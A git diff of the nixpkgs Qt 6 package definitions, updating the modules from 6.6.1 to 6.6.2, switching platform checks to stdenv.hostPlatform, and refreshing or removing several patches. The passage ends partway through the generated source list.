b/pkgs/development/libraries/qt-6/modules/qtspeech.nix @@ -13,7 +13,7 @@ qtModule { pname = "qtspeech"; nativeBuildInputs = [ pkg-config ]; - buildInputs = lib.optionals stdenv.isLinux [ flite alsa-lib speechd ]; + buildInputs = lib.optionals stdenv.hostPlatform.isLinux [ flite alsa-lib speechd ]; propagatedBuildInputs = [ qtbase qtmultimedia ] - ++ lib.optionals stdenv.isDarwin [ Cocoa ]; + ++ lib.optionals stdenv.hostPlatform.isDarwin [ Cocoa ]; } diff --git a/pkgs/development/libraries/qt-6/modules/qttools.nix b/pkgs/development/libraries/qt-6/modules/qttools.nix index a1aa1026e57b3..f13500d65464f 100644 --- a/pkgs/development/libraries/qt-6/modules/qttools.nix +++ b/pkgs/development/libraries/qt-6/modules/qttools.nix @@ -16,7 +16,7 @@ qtModule { llvmPackages.llvm ]; propagatedBuildInputs = [ qtbase qtdeclarative ] - ++ lib.optionals stdenv.isDarwin [ cups ]; + ++ lib.optionals stdenv.hostPlatform.isDarwin [ cups ]; patches = [ ../patches/qttools-paths.patch ]; diff --git a/pkgs/development/libraries/qt-6/modules/qtwayland.nix b/pkgs/development/libraries/qt-6/modules/qtwayland.nix index de13977304e2d..b5f1c71fdd757 100644 --- a/pkgs/development/libraries/qt-6/modules/qtwayland.nix +++ b/pkgs/development/libraries/qt-6/modules/qtwayland.nix @@ -4,7 +4,6 @@ , wayland , pkg-config , libdrm -, fetchpatch }: qtModule { @@ -12,12 +11,4 @@ qtModule { propagatedBuildInputs = [ qtbase qtdeclarative ]; buildInputs = [ wayland libdrm ]; nativeBuildInputs = [ pkg-config ]; - patches = [ - # Fix potential crash issues when some submenus are expanded - # https://codereview.qt-project.org/c/qt/qtwayland/+/519344/ - (fetchpatch { - url = "https://code.qt.io/cgit/qt/qtwayland.git/patch/?id=aae65c885d8e38d8abc2959cded7b5e9e5fc88b3"; - hash = "sha256-FD1VaiTgl9Z1y+5EDpWYShM1ULoFdET86FoFfqDmjyo="; - }) - ]; } diff --git a/pkgs/development/libraries/qt-6/modules/qtwebengine.nix b/pkgs/development/libraries/qt-6/modules/qtwebengine.nix index 068c04b4c89e1..f07aeefa0be00 100644 --- a/pkgs/development/libraries/qt-6/modules/qtwebengine.nix +++ b/pkgs/development/libraries/qt-6/modules/qtwebengine.nix @@ -105,9 +105,9 @@ qtModule { which gn nodejs - ] ++ lib.optionals (stdenv.isDarwin && stdenv.isAarch64) [ + ] ++ lib.optionals (stdenv.hostPlatform.isDarwin && stdenv.hostPlatform.isAarch64) [ autoSignDarwinBinariesHook - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ bootstrap_cmds cctools xcbuild @@ -134,10 +134,6 @@ qtModule { # Override locales install path so they go to QtWebEngine's $out ../patches/qtwebengine-locales-path.patch - - # Cherry-pick libxml 2.12 build fix - # FIXME: remove for 6.7 - ../patches/qtwebengine-libxml-2.12.patch ]; postPatch = '' @@ -162,14 +158,14 @@ qtModule { --replace "QLibraryInfo::path(QLibraryInfo::TranslationsPath)" "\"$out/translations\"" \ --replace "QLibraryInfo::path(QLibraryInfo::LibraryExecutablesPath)" "\"$out/libexec\"" '' - + lib.optionalString stdenv.isLinux '' + + lib.optionalString stdenv.hostPlatform.isLinux '' sed -i -e '/lib_loader.*Load/s!"\(libudev\.so\)!"${lib.getLib systemd}/lib/\1!' \ src/3rdparty/chromium/device/udev_linux/udev?_loader.cc sed -i -e '/libpci_loader.*Load/s!"\(libpci\.so\)!"${pciutils}/lib/\1!' \ src/3rdparty/chromium/gpu/config/gpu_info_collector_linux.cc '' - + lib.optionalString stdenv.isDarwin '' + + lib.optionalString stdenv.hostPlatform.isDarwin '' substituteInPlace configure.cmake src/gn/CMakeLists.txt \ --replace "AppleClang" "Clang" substituteInPlace cmake/Functions.cmake \ @@ -194,7 +190,7 @@ qtModule { # "-DQT_FEATURE_webengine_native_spellchecker=ON" "-DQT_FEATURE_webengine_sanitizer=ON" "-DQT_FEATURE_webengine_kerberos=ON" - ] ++ lib.optionals stdenv.isLinux [ + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ "-DQT_FEATURE_webengine_system_libxml=ON" "-DQT_FEATURE_webengine_webrtc_pipewire=ON" @@ -203,7 +199,7 @@ qtModule { "-DQT_FEATURE_webengine_system_icu=ON" ] ++ lib.optionals enableProprietaryCodecs [ "-DQT_FEATURE_webengine_proprietary_codecs=ON" - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ "-DCMAKE_OSX_DEPLOYMENT_TARGET=${stdenv.hostPlatform.darwinSdkVersion}" ]; @@ -236,7 +232,7 @@ qtModule { libevent ffmpeg_4 - ] ++ lib.optionals stdenv.isLinux [ + ] ++ lib.optionals stdenv.hostPlatform.isLinux [ dbus zlib minizip @@ -279,7 +275,7 @@ qtModule { libkrb5 mesa - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ AGL AVFoundation Accelerate @@ -306,7 +302,7 @@ qtModule { buildInputs = [ cups - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libpm sandbox ]; diff --git a/pkgs/development/libraries/qt-6/modules/qtwebview.nix b/pkgs/development/libraries/qt-6/modules/qtwebview.nix index e8ebea932f039..dfc2da1df555a 100644 --- a/pkgs/development/libraries/qt-6/modules/qtwebview.nix +++ b/pkgs/development/libraries/qt-6/modules/qtwebview.nix @@ -9,6 +9,6 @@ qtModule { pname = "qtwebview"; propagatedBuildInputs = [ qtdeclarative ] - ++ lib.optionals (!stdenv.isDarwin) [ qtwebengine ] - ++ lib.optionals stdenv.isDarwin [ WebKit ]; + ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ qtwebengine ] + ++ lib.optionals stdenv.hostPlatform.isDarwin [ WebKit ]; } diff --git a/pkgs/development/libraries/qt-6/patches/0002-qtbase-qmake-fix-mkspecs-for-darwin.patch b/pkgs/development/libraries/qt-6/patches/0002-qtbase-qmake-fix-mkspecs-for-darwin.patch index d7b41691370ec..6cdbec5abfc73 100644 --- a/pkgs/development/libraries/qt-6/patches/0002-qtbase-qmake-fix-mkspecs-for-darwin.patch +++ b/pkgs/development/libraries/qt-6/patches/0002-qtbase-qmake-fix-mkspecs-for-darwin.patch @@ -13,7 +13,7 @@ Subject: [PATCH 02/11] qtbase: qmake: fix mkspecs for darwin 6 files changed, 1 insertion(+), 415 deletions(-) diff --git a/mkspecs/common/mac.conf b/mkspecs/common/mac.conf -index 61bea952b22..9909dae7260 100644 +index 61bea952b2..9909dae726 100644 --- a/mkspecs/common/mac.conf +++ b/mkspecs/common/mac.conf @@ -23,7 +23,7 @@ QMAKE_INCDIR_OPENGL = \ @@ -26,7 +26,7 @@ index 61bea952b22..9909dae7260 100644 QMAKE_LFLAGS_REL_RPATH = diff --git a/mkspecs/features/mac/default_post.prf b/mkspecs/features/mac/default_post.prf -index f364716717c..3b40328304d 100644 +index 0b64a586b9..3b40328304 100644 --- a/mkspecs/features/mac/default_post.prf +++ b/mkspecs/features/mac/default_post.prf @@ -1,9 +1,5 @@ @@ -39,12 +39,13 @@ index f364716717c..3b40328304d 100644 contains(TEMPLATE, .*app) { !macx-xcode:if(isEmpty(BUILDS)|build_pass) { # Detect changes to the platform SDK -@@ -15,269 +11,10 @@ contains(TEMPLATE, .*app) { +@@ -15,270 +11,10 @@ contains(TEMPLATE, .*app) { QMAKE_EXTRA_INCLUDES += $$shell_quote($$PWD/sdk.mk) } - - # Detect incompatible SDK versions +- # The CMake equivalent is in cmake/QtPublicAppleHelpers.cmake. - - isEmpty(QT_MAC_SDK_VERSION_MIN): \ - QT_MAC_SDK_VERSION_MIN = $$QT_MAC_SDK_VERSION @@ -310,7 +311,7 @@ index f364716717c..3b40328304d 100644 generate_xcode_project.commands = @$(QMAKE) -spec macx-xcode \"$(EXPORT__PRO_FILE_)\" $$QMAKE_ARGS generate_xcode_project.target = xcodeproj diff --git a/mkspecs/features/mac/default_pre.prf b/mkspecs/features/mac/default_pre.prf -index e3534561a56..3b01424e67b 100644 +index e3534561a5..3b01424e67 100644 --- a/mkspecs/features/mac/default_pre.prf +++ b/mkspecs/features/mac/default_pre.prf @@ -1,60 +1,2 @@ @@ -375,7 +376,7 @@ index e3534561a56..3b01424e67b 100644 -xcode_copy_phase_strip_setting.value = NO -QMAKE_MAC_XCODE_SETTINGS += xcode_copy_phase_strip_setting diff --git a/mkspecs/features/mac/sdk.mk b/mkspecs/features/mac/sdk.mk -index a32ceacb6ce..e69de29bb2d 100644 +index a32ceacb6c..e69de29bb2 100644 --- a/mkspecs/features/mac/sdk.mk +++ b/mkspecs/features/mac/sdk.mk @@ -1,27 +0,0 @@ @@ -407,7 +408,7 @@ index a32ceacb6ce..e69de29bb2d 100644 - endif -endif diff --git a/mkspecs/features/mac/sdk.prf b/mkspecs/features/mac/sdk.prf -index 3a9c2778bbe..e69de29bb2d 100644 +index 3a9c2778bb..e69de29bb2 100644 --- a/mkspecs/features/mac/sdk.prf +++ b/mkspecs/features/mac/sdk.prf @@ -1,61 +0,0 @@ @@ -473,7 +474,7 @@ index 3a9c2778bbe..e69de29bb2d 100644 - cache($$tool_variable, set stash, $$tool) -} diff --git a/mkspecs/features/mac/toolchain.prf b/mkspecs/features/mac/toolchain.prf -index df191eb13c4..e69de29bb2d 100644 +index df191eb13c..e69de29bb2 100644 --- a/mkspecs/features/mac/toolchain.prf +++ b/mkspecs/features/mac/toolchain.prf @@ -1,5 +0,0 @@ @@ -482,6 +483,3 @@ index df191eb13c4..e69de29bb2d 100644 -sdk: load(sdk) - -load(toolchain) --- -2.42.0 - diff --git a/pkgs/development/libraries/qt-6/patches/0008-qtbase-allow-translations-outside-prefix.patch b/pkgs/development/libraries/qt-6/patches/0008-qtbase-allow-translations-outside-prefix.patch index 40812599bb99e..07f1973d76077 100644 --- a/pkgs/development/libraries/qt-6/patches/0008-qtbase-allow-translations-outside-prefix.patch +++ b/pkgs/development/libraries/qt-6/patches/0008-qtbase-allow-translations-outside-prefix.patch @@ -7,11 +7,11 @@ Subject: [PATCH 08/11] qtbase: allow translations outside prefix cmake/QtBuild.cmake | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) -diff --git a/cmake/QtBuild.cmake b/cmake/QtBuild.cmake -index 1dc576d27af..4348eb97c37 100644 ---- a/cmake/QtBuild.cmake -+++ b/cmake/QtBuild.cmake -@@ -30,7 +30,7 @@ function(qt_configure_process_path name default docstring) +diff --git a/cmake/QtBuildPathsHelpers.cmake b/cmake/QtBuildPathsHelpers.cmake +index edc43f2f14..78fa219515 100644 +--- a/cmake/QtBuildPathsHelpers.cmake ++++ b/cmake/QtBuildPathsHelpers.cmake +@@ -134,7 +134,7 @@ function(qt_configure_process_path name default docstring) set(rel_path ".") elseif(rel_path MATCHES "^\.\./") # INSTALL_SYSCONFDIR is allowed to be outside the prefix. @@ -20,6 +20,3 @@ index 1dc576d27af..4348eb97c37 100644 message(FATAL_ERROR "Path component '${name}' is outside computed install prefix: ${rel_path} ") return() --- -2.42.0 - diff --git a/pkgs/development/libraries/qt-6/patches/0011-qtbase-derive-plugin-load-path-from-PATH.patch b/pkgs/development/libraries/qt-6/patches/0011-qtbase-derive-plugin-load-path-from-PATH.patch index 22530f453536c..cae39e879120e 100644 --- a/pkgs/development/libraries/qt-6/patches/0011-qtbase-derive-plugin-load-path-from-PATH.patch +++ b/pkgs/development/libraries/qt-6/patches/0011-qtbase-derive-plugin-load-path-from-PATH.patch @@ -1,19 +1,19 @@ -From f0c4d3860b75cb064d066045907622d536044096 Mon Sep 17 00:00:00 2001 +From 6f0e6fe1e13ca5844a93d3b97111b7ece7e60f0f Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Milan=20P=C3=A4ssler?= <me@pbb.lc> Date: Sun, 10 May 2020 12:47:28 +0200 Subject: [PATCH 11/11] qtbase: derive plugin load path from PATH --- - src/corelib/kernel/qcoreapplication.cpp | 10 ++++++++++ - 1 file changed, 10 insertions(+) + src/corelib/kernel/qcoreapplication.cpp | 9 +++++++++ + 1 file changed, 9 insertions(+) diff --git a/src/corelib/kernel/qcoreapplication.cpp b/src/corelib/kernel/qcoreapplication.cpp -index a80efbb5622..8cf9e85da43 100644 +index a80efbb5622..0d41dabeed3 100644 --- a/src/corelib/kernel/qcoreapplication.cpp +++ b/src/corelib/kernel/qcoreapplication.cpp -@@ -2991,6 +2991,16 @@ QStringList QCoreApplication::libraryPathsLocked() - QStringList *app_libpaths = new QStringList; - coreappdata()->app_libpaths.reset(app_libpaths); +@@ -3032,6 +3032,15 @@ QStringList QCoreApplication::libraryPathsLocked() + app_libpaths->append(installPathPlugins); + } + // Add library paths derived from PATH + const QStringList paths = QFile::decodeName(qgetenv("PATH")).split(QStringLiteral(":")); @@ -24,10 +24,9 @@ index a80efbb5622..8cf9e85da43 100644 + } + } + -+ - auto setPathsFromEnv = [&](QString libPathEnv) { - if (!libPathEnv.isEmpty()) { - QStringList paths = libPathEnv.split(QDir::listSeparator(), Qt::SkipEmptyParts); + // If QCoreApplication is not yet instantiated, + // make sure we add the application path when we construct the QCoreApplication + if (self) self->d_func()->appendApplicationPathToLibraryPaths(); -- -2.42.0 +2.43.1 diff --git a/pkgs/development/libraries/qt-6/patches/qtwebengine-libxml-2.12.patch b/pkgs/development/libraries/qt-6/patches/qtwebengine-libxml-2.12.patch deleted file mode 100644 index 3c3d59b488da3..0000000000000 --- a/pkgs/development/libraries/qt-6/patches/qtwebengine-libxml-2.12.patch +++ /dev/null @@ -1,29 +0,0 @@ ---- a/src/3rdparty/chromium/third_party/blink/renderer/core/xml/xslt_processor.h -+++ b/src/3rdparty/chromium/third_party/blink/renderer/core/xml/xslt_processor.h -@@ -77,7 +77,12 @@ class XSLTProcessor final : public ScriptWrappable { - - void reset(); - -+#if LIBXML_VERSION >= 21200 -+ static void ParseErrorFunc(void* user_data, const xmlError*); -+#else - static void ParseErrorFunc(void* user_data, xmlError*); -+#endif -+ - static void GenericErrorFunc(void* user_data, const char* msg, ...); - - // Only for libXSLT callbacks ---- a/src/3rdparty/chromium/third_party/blink/renderer/core/xml/xslt_processor_libxslt.cc -+++ b/src/3rdparty/chromium/third_party/blink/renderer/core/xml/xslt_processor_libxslt.cc -@@ -66,7 +66,11 @@ void XSLTProcessor::GenericErrorFunc(void*, const char*, ...) { - // It would be nice to do something with this error message. - } - -+#if LIBXML_VERSION >= 21200 -+void XSLTProcessor::ParseErrorFunc(void* user_data, const xmlError* error) { -+#else - void XSLTProcessor::ParseErrorFunc(void* user_data, xmlError* error) { -+#endif - FrameConsole* console = static_cast<FrameConsole*>(user_data); - if (!console) - return; diff --git a/pkgs/development/libraries/qt-6/qtModule.nix b/pkgs/development/libraries/qt-6/qtModule.nix index 5434be84fa595..addcd53aea81e 100644 --- a/pkgs/development/libraries/qt-6/qtModule.nix +++ b/pkgs/development/libraries/qt-6/qtModule.nix @@ -21,7 +21,7 @@ stdenv.mkDerivation (args // { buildInputs = args.buildInputs or [ ]; nativeBuildInputs = (args.nativeBuildInputs or [ ]) ++ [ cmake ninja perl ] - ++ lib.optionals stdenv.isDarwin [ moveBuildTree ]; + ++ lib.optionals stdenv.hostPlatform.isDarwin [ moveBuildTree ]; propagatedBuildInputs = (lib.warnIf (args ? qtInputs) "qt6.qtModule's qtInputs argument is deprecated" args.qtInputs or []) ++ (args.propagatedBuildInputs or []); @@ -31,12 +31,15 @@ stdenv.mkDerivation (args // { outputs = args.outputs or [ "out" "dev" ]; dontWrapQtApps = args.dontWrapQtApps or true; - - meta = with lib; { +}) // { + meta = with lib; let + pos = builtins.unsafeGetAttrPos "pname" args; + in { homepage = "https://www.qt.io/"; description = "A cross-platform application framework for C++"; license = with licenses; [ fdl13Plus gpl2Plus lgpl21Plus lgpl3Plus ]; maintainers = with maintainers; [ milahu nickcao ]; platforms = platforms.unix; + position = "${pos.file}:${toString pos.line}"; } // (args.meta or { }); -}) +} diff --git a/pkgs/development/libraries/qt-6/srcs.nix b/pkgs/development/libraries/qt-6/srcs.nix index 61b73c649dfa7..5fef072f39909 100644 --- a/pkgs/development/libraries/qt-6/srcs.nix +++ b/pkgs/development/libraries/qt-6/srcs.nix @@ -1,318 +1,318 @@ # DO NOT EDIT! This file is generated automatically. -# Command: ./maintainers/scripts/fetch-kde-qt.sh pkgs/development/libraries/qt-6 +# Command: ./maintainers/scripts/fetch-kde-qt.sh pkgs/development/libraries/qt-6/fetch.sh { fetchurl, mirror }: { qt3d = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qt3d-everywhere-src-6.6.1.tar.xz"; - sha256 = "0a9j8k1561hgsigpf3k5h9p788pab7lb38q7yrl1r9ql9zbsx17k"; - name = "qt3d-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qt3d-everywhere-src-6.6.2.tar.xz"; + sha256 = "10l5ldw8g8m1ig3hh78pwg749xqf2gw9vsi8p67gbkanmipfqx4i"; + name = "qt3d-everywhere-src-6.6.2.tar.xz"; }; }; qt5compat = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qt5compat-everywhere-src-6.6.1.tar.xz"; - sha256 = "1wn13filgwz9lh0jj7w8i9ma53vw4mbxj2c1421j65x4xnv1a78f"; - name = "qt5compat-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qt5compat-everywhere-src-6.6.2.tar.xz"; + sha256 = "0rqr34lqf4mjdgjj09wzlvkxfknz8arjl9p30xpqbr2qfsmhhyz0"; + name = "qt5compat-everywhere-src-6.6.2.tar.xz"; }; }; qtactiveqt = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtactiveqt-everywhere-src-6.6.1.tar.xz"; - sha256 = "1v6g0hg5qfbvbvr9k5sn02l556c5mnnnak0bm1yrgqyw85qg2l4r"; - name = "qtactiveqt-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtactiveqt-everywhere-src-6.6.2.tar.xz"; + sha256 = "16vqb33s0dwxq1rrha81606fdwq1dz7az6mybgx18n7f081h3yl7"; + name = "qtactiveqt-everywhere-src-6.6.2.tar.xz"; }; }; qtbase = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtbase-everywhere-src-6.6.1.tar.xz"; - sha256 = "1xq2kpawq1f9qa3dzjcl1bl6h039807pykcm0znl1zmjfx35n325"; - name = "qtbase-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtbase-everywhere-src-6.6.2.tar.xz"; + sha256 = "0yv78bwqzy975854h53rbiilsms62f3v02i3jqz7v8ajk1ml56xq"; + name = "qtbase-everywhere-src-6.6.2.tar.xz"; }; }; qtcharts = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtcharts-everywhere-src-6.6.1.tar.xz"; - sha256 = "1dii5amdzpm65mq1yz7w1aql95yi0dshm06s62yf3dr68nlwlmhi"; - name = "qtcharts-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtcharts-everywhere-src-6.6.2.tar.xz"; + sha256 = "1x7m87lxbza4ynf6dq7yshann6003302a5fxih5l5d07xri64j5i"; + name = "qtcharts-everywhere-src-6.6.2.tar.xz"; }; }; qtconnectivity = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtconnectivity-everywhere-src-6.6.1.tar.xz"; - sha256 = "0i86iqjx8z6qymbmilrmr2d67piinwlr2pkcfj1zjks69538sijv"; - name = "qtconnectivity-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtconnectivity-everywhere-src-6.6.2.tar.xz"; + sha256 = "1dzsvs0hngrz6b66r9zb4al5a4r6xxfd29i8g3jqmvw3b0452vx3"; + name = "qtconnectivity-everywhere-src-6.6.2.tar.xz"; }; }; qtdatavis3d = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtdatavis3d-everywhere-src-6.6.1.tar.xz"; - sha256 = "18hvlz8l55jzhpp1ph1slj472l65pk3qdhmhib6gybi2iv6kpp5r"; - name = "qtdatavis3d-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtdatavis3d-everywhere-src-6.6.2.tar.xz"; + sha256 = "0iqw5afx8y29kjprn1hlz0zr0qwc9j0m7my75qf1av800hlnnjii"; + name = "qtdatavis3d-everywhere-src-6.6.2.tar.xz"; }; }; qtdeclarative = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtdeclarative-everywhere-src-6.6.1.tar.xz"; - sha256 = "0p4r12v9ih1l9cnbw0am878kjfpr3f6whkamx564cn36iqrxgzvy"; - name = "qtdeclarative-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtdeclarative-everywhere-src-6.6.2.tar.xz"; + sha256 = "0k6qndjvkkx3g8lr7f64xx86b3cwxzkgpl6fr6cp73s6qjkyk763"; + name = "qtdeclarative-everywhere-src-6.6.2.tar.xz"; }; }; qtdoc = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtdoc-everywhere-src-6.6.1.tar.xz"; - sha256 = "0ndh1if6886m9z9kc2aa02q135ar0rmy4vgln4rkr3lyx4jaajwl"; - name = "qtdoc-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtdoc-everywhere-src-6.6.2.tar.xz"; + sha256 = "0hvv40y2h7xa7wj2cqz2rrsvy1xf2l95199vmgx4q27wgmn1xixg"; + name = "qtdoc-everywhere-src-6.6.2.tar.xz"; }; }; qtgraphs = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtgraphs-everywhere-src-6.6.1.tar.xz"; - sha256 = "0xv4alb93rdqzbhhvvhg2miwjyax81pf9n4p5irlcg2xrw1qv5n8"; - name = "qtgraphs-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtgraphs-everywhere-src-6.6.2.tar.xz"; + sha256 = "19j9hdpxrclsdwqqblp4bk94zd2a5rvxnf548hm7r03npznjvb26"; + name = "qtgraphs-everywhere-src-6.6.2.tar.xz"; }; }; qtgrpc = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtgrpc-everywhere-src-6.6.1.tar.xz"; - sha256 = "1k7hv2f1s628rfls2klxvd0b2rb304pysbcvvqfrwkkv4ys4akhw"; - name = "qtgrpc-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtgrpc-everywhere-src-6.6.2.tar.xz"; + sha256 = "1flfm8j5vw2j6xzms1b470mbqyab1nrnj4z9s4mgwnbsp4m5p85w"; + name = "qtgrpc-everywhere-src-6.6.2.tar.xz"; }; }; qthttpserver = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qthttpserver-everywhere-src-6.6.1.tar.xz"; - sha256 = "0k0jhgxfqq0l3jhrf5qyd38achvvv8x4zvx4jw0jl00m5zsv7zhv"; - name = "qthttpserver-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qthttpserver-everywhere-src-6.6.2.tar.xz"; + sha256 = "1qzw96y20qr1kc9wmys61wm568jsknvlgvh09bbqjcmm6dm3lhd2"; + name = "qthttpserver-everywhere-src-6.6.2.tar.xz"; }; }; qtimageformats = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtimageformats-everywhere-src-6.6.1.tar.xz"; - sha256 = "13qqj8251l9885mcaafg6plxcza4vd7sdkv2wrdkfbh7a24x0kmc"; - name = "qtimageformats-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtimageformats-everywhere-src-6.6.2.tar.xz"; + sha256 = "1cvwm0hnspglydms6qhcp5g0ayz5pamigl52kz8km66l6s8lqn3i"; + name = "qtimageformats-everywhere-src-6.6.2.tar.xz"; }; }; qtlanguageserver = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtlanguageserver-everywhere-src-6.6.1.tar.xz"; - sha256 = "0vrywwjg5d2fx2kpjxmi6cm8vffpf0zg63zi3n9dz2d90db1yxmh"; - name = "qtlanguageserver-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtlanguageserver-everywhere-src-6.6.2.tar.xz"; + sha256 = "1bgazi44mwac20biybhp21icgwa8k7jd295j8jsfgzxbw12lq7y3"; + name = "qtlanguageserver-everywhere-src-6.6.2.tar.xz"; }; }; qtlocation = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtlocation-everywhere-src-6.6.1.tar.xz"; - sha256 = "0acwkwcr5dixhwhd102kmh5yq4y3wk1kddfdb8ychy3jwdi2pgld"; - name = "qtlocation-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtlocation-everywhere-src-6.6.2.tar.xz"; + sha256 = "05glwmasg0rlhybzpb640iibcs6gyrqbs7h1ws4b5vgcmzzdq9cy"; + name = "qtlocation-everywhere-src-6.6.2.tar.xz"; }; }; qtlottie = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtlottie-everywhere-src-6.6.1.tar.xz"; - sha256 = "1j4zl2yz9pybh21wscfr56pahfrn4fnkvxdhkz03d2gpcj9hbjs9"; - name = "qtlottie-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtlottie-everywhere-src-6.6.2.tar.xz"; + sha256 = "1hqhp55jfasavk7p8xb0srbc6lnk70w2q0x4iwn28z5s5kd1cvi7"; + name = "qtlottie-everywhere-src-6.6.2.tar.xz"; }; }; qtmultimedia = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtmultimedia-everywhere-src-6.6.1.tar.xz"; - sha256 = "0jnvc09msjqr2zbyjj7fgilf7zg3sdldbppnj8b9c52pdwly5r3y"; - name = "qtmultimedia-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtmultimedia-everywhere-src-6.6.2.tar.xz"; + sha256 = "1v0430jnv97ws6cizn9mi8zr9hcg7rixd0jg7smhdq8apacjb572"; + name = "qtmultimedia-everywhere-src-6.6.2.tar.xz"; }; }; qtnetworkauth = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtnetworkauth-everywhere-src-6.6.1.tar.xz"; - sha256 = "0j8dq10wq6y02cz4lkqw60nqi600qr9ssb36n74mywr2bfa12gk9"; - name = "qtnetworkauth-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtnetworkauth-everywhere-src-6.6.2.tar.xz"; + sha256 = "1lijsdwbj8gscfllmp358n5ysa8pvhx2msh7gpxvb4x81daxbg9j"; + name = "qtnetworkauth-everywhere-src-6.6.2.tar.xz"; }; }; qtpositioning = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtpositioning-everywhere-src-6.6.1.tar.xz"; - sha256 = "1f0n721k4w6jiva8hhgpd29im2h5vsd2ypfbk1j53f0j7czwgnix"; - name = "qtpositioning-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtpositioning-everywhere-src-6.6.2.tar.xz"; + sha256 = "1qn31vps9dj4g8m7d195qlsyj3p4dfqqszdc6yqq097dq5y5d9sd"; + name = "qtpositioning-everywhere-src-6.6.2.tar.xz"; }; }; qtquick3d = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = "${mirror}/official_releases/qt/6.6/6.6.1/submodules/qtquick3d-everywhere-src-6.6.1.tar.xz"; - sha256 = "08l4rsw7v0xvdmpm80wpxy74798j70r37853hdgipmi34bp0058m"; - name = "qtquick3d-everywhere-src-6.6.1.tar.xz"; + url = "${mirror}/official_releases/qt/6.6/6.6.2/submodules/qtquick3d-everywhere-src-6.6.2.tar.xz"; + sha256 = "0f1sp7d1jzdzaxqs2l2yjprp0axcqbg2w82dza7wl4paan4rzp7w"; + name = "qtquick3d-everywhere-src-6.6.2.tar.xz"; }; }; qtquick3dphysics = { - version = "6.6.1"; + version = "6.6.2"; src = fetchurl { - url = 